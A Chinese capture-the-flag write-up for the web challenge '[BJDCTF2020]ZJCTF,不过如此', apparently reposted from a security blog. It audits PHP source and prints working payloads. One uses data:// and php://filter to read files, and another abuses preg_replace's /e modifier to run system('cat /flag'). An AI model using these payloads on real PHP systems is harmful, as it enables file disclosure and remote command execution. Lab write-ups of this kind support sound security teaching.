文章总结: 本文为CTF题目Writeup,通过代码审计发现GET参数text和file存在文件读取漏洞,利用data://协议绕过filegetcontents限制,再通过php://filter读取源码,发现preg_replace的/e修饰符命令执行漏洞,最终构造payload执行系统命令获取flag。解题思路清晰,步骤完整,对PHP代码审计和漏洞利用具有参考价值。 综合评分: 75 文章分类: CTF,WEB安全,代码审计,漏洞分析
[BJDCTF2020]ZJCTF,不过如此
原创
devildollking devildollking
熔城Sec
2026年9月9日 09:00 辽宁
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01
题目简介
- 题目名称:[BJDCTF2020]ZJCTF,不过如此
- 题目平台:CTF²
- 题目类型:Web
02
解题步骤
启动靶机
审计一下上述代码,我们发现使用了GET方法传递了两个参数text、file。并且使用file_get_contents写入text,要求写入的字符串和i have a dream相同。
在传参的时候路径中不能含有/flag/ 的路径 ,就会输出“ not now ”,同时在注释里面告诉我们一个php文件。
通过上述的逻辑分析,我们可以构造payload,因为使用了file_get_contents,所以我们可以通过data://协议进行读取。
/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
进行base64解码操作
获得新的源码
<?php$id = $_GET['id'];$_SESSION['id'] = $id;
function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );}
foreach($_GET as $re => $str) { echo complex($re, $str). "\n";}
function getFlag(){ @eval($_GET['cmd']);}
这里的关键方法在这里
function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );}
这里使用了一个preg_replace的命令执行漏洞,
漏洞触发条件:PHP 版本 < 7.0(PHP 5.5 废弃 /e,PHP 7.0 移除)。preg_replace 第一个参数包含 /e 修饰符。第二个参数(替换串)中包含反向引用(\1, $1 等),且该引用内容受用户控制
所以接下来我们就可以构造payload了
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:熔城Sec devildollking devildollking《[BJDCTF2020]ZJCTF,不过如此》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[BJDCTF2020]ZJCTF,不过如此](/images/random/titlepic/4.jpg)





评论